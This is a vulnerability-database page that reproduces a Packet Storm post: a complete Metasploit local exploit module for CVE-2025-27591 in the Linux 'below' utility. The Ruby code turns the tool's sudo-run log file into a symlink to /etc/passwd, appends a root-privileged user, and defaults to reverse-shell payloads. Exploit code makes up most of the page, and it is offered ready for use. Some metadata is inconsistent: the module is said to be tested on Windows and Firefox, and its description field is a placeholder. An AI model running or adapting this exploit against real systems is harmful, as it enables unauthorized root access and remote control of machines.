Lucene search
K

📄 Below Log File Symlink Privilege Escalation

🗓️ 21 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 123 Views

Metasploit local exploit for Below sudo Log File Symlink Privilege Escalation CVE-2025-27591 on Linux.

Related
Code
==================================================================================================================================
    | # Title     : Below <v0.9.0 sudo Log File Symlink Privilege Escalation Metasploit Local Exploit Module                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/facebookincubator/below                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit local privilege escalation module targets a vulnerability in the below utility when executed with sudo, identified as CVE-2025-27591.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Linux::Priv
      include Msf::Post::Linux::System
      include Msf::Post::Linux::Kernel
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'below sudo Log File Symlink Privilege Escalation',
            'Description' => %q{
              Vulnerability module description (unchanged).
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-27591']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['linux'],
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'Linux (Command)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'Type' => :linux_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Linux (Dropper)',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-12-01'
          )
        )
    
        register_options([
          OptString.new('LOG_DIR', [true, 'below log directory', '/var/log/below']),
          OptString.new('LOG_FILE', [true, 'below error log file', 'error_root.log']),
          OptString.new('NEW_USERNAME', [true, 'Username to add', 'metasploit_user']),
          OptBool.new('CLEANUP', [true, 'Cleanup', true])
        ])
    
        register_advanced_options([
          OptBool.new('WritableCheck', [true, 'Check writable', true]),
          OptInt.new('SudoTimeout', [true, 'Timeout', 30])
        ])
      end
    
      def check
        print_status("Checking prerequisites...")
    
        below_path = cmd_exec("which below 2>/dev/null").to_s.strip
        return Exploit::CheckCode::Safe("below not found") if below_path.empty?
        print_good("below found")
    
        sudo_check = cmd_exec("sudo -l 2>/dev/null | grep -E 'below|ALL'").to_s.strip
        return Exploit::CheckCode::Safe("no sudo access") if sudo_check.empty?
        print_good("sudo access confirmed")
    
        if datastore['WritableCheck']
          log_dir = datastore['LOG_DIR']
          writable = cmd_exec("test -w #{log_dir} && echo 1 || echo 0").to_s.strip
          return Exploit::CheckCode::Safe("not writable") if writable != "1"
          print_good("log dir writable")
        end
    
        Exploit::CheckCode::Vulnerable
      end
    
      def exploit
        print_status("CVE-2025-27591 exploit running...")
        print_status("User: #{cmd_exec('whoami').to_s.strip}")
    
        unless check == Exploit::CheckCode::Vulnerable
          fail_with(Failure::NotVulnerable, "Not vulnerable")
        end
    
        new_username = datastore['NEW_USERNAME']
        payload_entry = "#{new_username}:x:0:0:#{new_username}:/root:/bin/bash\n"
    
        log_dir = datastore['LOG_DIR']
        log_file = "#{log_dir}/#{datastore['LOG_FILE']}"
        target_file = "/etc/passwd"
    
        tmp_payload = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
        write_file(tmp_payload, payload_entry)
        register_file_for_cleanup(tmp_payload)
    
        cmd_exec("mkdir -p #{log_dir}") unless directory_exists?(log_dir)
    
        cmd_exec("chmod 777 #{log_dir} 2>/dev/null") unless writable?(log_dir)
    
        cmd_exec("rm -f #{log_file}") if file_exists?(log_file)
    
        cmd_exec("ln -sf #{target_file} #{log_file}")
    
        print_status("Triggering sudo below record...")
        cmd_exec("timeout #{datastore['SudoTimeout']} sudo /usr/bin/below record 2>&1")
        cmd_exec("echo '#{payload_entry.strip}' >> #{log_file} 2>/dev/null")
    
        verify = cmd_exec("grep -c '^#{new_username}:' /etc/passwd").to_s.strip
        fail_with(Failure::UnexpectedReply, "User not added") if verify == "0"
    
        print_good("User added successfully")
    
        handler if target['Type'] == :linux_cmd
      end
    
      def directory_exists?(path)
        cmd_exec("test -d #{path} && echo 1 || echo 0").to_s.strip == "1"
      end
    
      def file_exists?(path)
        cmd_exec("test -f #{path} && echo 1 || echo 0").to_s.strip == "1"
      end
    
      def writable?(path)
        cmd_exec("test -w #{path} && echo 1 || echo 0").to_s.strip == "1"
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2026 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.16.8
EPSS0.00132
SSVC
123